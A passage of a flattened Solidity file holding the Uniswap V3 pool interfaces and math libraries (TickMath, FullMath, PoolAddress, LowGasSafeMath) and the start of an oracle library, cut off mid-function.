recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.7.0; /// @title Optimized overflow and underflow safe math operations /// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; ////import './pool/IUniswapV3PoolImmutables.sol'; ////import './pool/IUniswapV3PoolState.sol'; ////import './pool/IUniswapV3PoolDerivedState.sol'; ////import './pool/IUniswapV3PoolActions.sol'; ////import './pool/IUniswapV3PoolOwnerActions.sol'; ////import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: MIT pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } ////// SPDX-License-Identifier-FLATTEN-SUPPRESS-WARNING: GPL-2.0-or-later pragma solidity >=0.5.0 <0.8.0; ////import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; ////import '@uniswap/v3-core/contracts/libraries/TickMath.sol'; ////import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; ////import '@uniswap/v3-core/contracts/libraries/LowGasSafeMath.sol'; ////import '../libraries/PoolAddress.sol'; /// @title Oracle library /// @notice Provides functions to integrate with V3 pool oracle library OracleLibrary { /// @notice Fetches time-weighted average tick using Uniswap V3 oracle /// @param pool Address of Uniswap V3 pool that we want to observe /// @param period Number of seconds in the past to start calculating time-weighted average /// @return timeWeightedAverageTick The time-weighted average tick from (block.timestamp - period) to block.timestamp function consult(address pool, uint32 period) internal view returns (int24 timeWeightedAverageTick) { require(period != 0, 'BP'); uint32[] memory secondAgos = new uint32[](2); secondAgos[0] = period; secondAgos[1] = 0; (int56[] memory tickCumulatives, ) = IUniswapV3Pool(pool).observe(secondAgos); int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0]; timeWeightedAverageTick = int24(tickCumulativesDelta / period); // Always round to negative infinity if (tickCumulativesDelta < 0 && (tickCumulativesDelta % period != 0)) timeWeightedAverageTick--; } /// @notice Given a tick and a token amount, calculates the amount of token received in exchange /// @param tick Tick value used to calculate the quote /// @param baseAmount Amount of token to be converted /// @param baseToken Address of an ERC20 token contract used as the baseAmount denomination /// @param quoteToken Address of an ERC20 token contract used as the quoteAmount denomination /// @return quoteAmount Amount of quoteToken received for baseAmount of baseToken function getQuoteAtTick( int24 tick, uint128 baseAmount, address baseToken, address quoteToken ) internal pure returns (uint256 quoteAmount) { uint160 sqrtRatioX96 = TickMath.getSqrtRatioAtTick(tick); // Calculate quoteAmount with better precision if it doesn't overflow when multiplied by itself if (sqrtRatioX96 <= type(uint128).max) { uint256 ratioX192 = uint256(sqrtRatioX96) * sqrtRatioX96; quoteAmount = baseToken < quoteToken ? FullMath.mulDiv(ratioX192, baseAmount, 1 << 192) : FullMath.mulDiv(1 << 192, baseAmount, ratioX192); } else { uint256 ratioX128 = 